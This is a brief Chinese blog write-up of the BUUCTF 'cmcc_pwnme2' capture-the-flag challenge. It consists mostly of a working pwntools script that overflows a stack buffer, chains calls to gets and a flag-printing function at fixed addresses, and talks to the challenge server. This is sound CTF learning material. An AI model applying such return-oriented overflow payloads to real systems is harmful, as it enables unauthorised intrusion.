BUUCTF之“cmcc_pwnme2”做题简单记录

最新推荐文章于 2024-01-31 14:40:58 发布

原创最新推荐文章于 2024-01-31 14:40:58 发布 · 2.7k 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#pwn

收录于

二进制pwn学习专栏收录该内容

28 篇文章

订阅专栏

本文介绍了一篇关于使用IDA分析函数名获取提示，并通过构造payload利用缓冲区溢出漏洞执行特定指令获取shell的过程。文章中提到了payload制作的细节，特别是注意sendline函数的使用方式，避免了程序错误。

这题还好，值得注意的是IDA里头函数栏里面的函数名字需要多注意其意思，说不定就
是提示的信息。

from pwn import *

p = remote('node4.buuoj.cn',25488)
elf=ELF('./pwnme2')

exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']

p.recvuntil('Please input:\n')

payload=b'a'*(0x6c+4)+p32(gets)+p32(0x080485cb)+p32(0x0804a060)

p.sendline(payload)
p.sendline("flag")
p.interactive()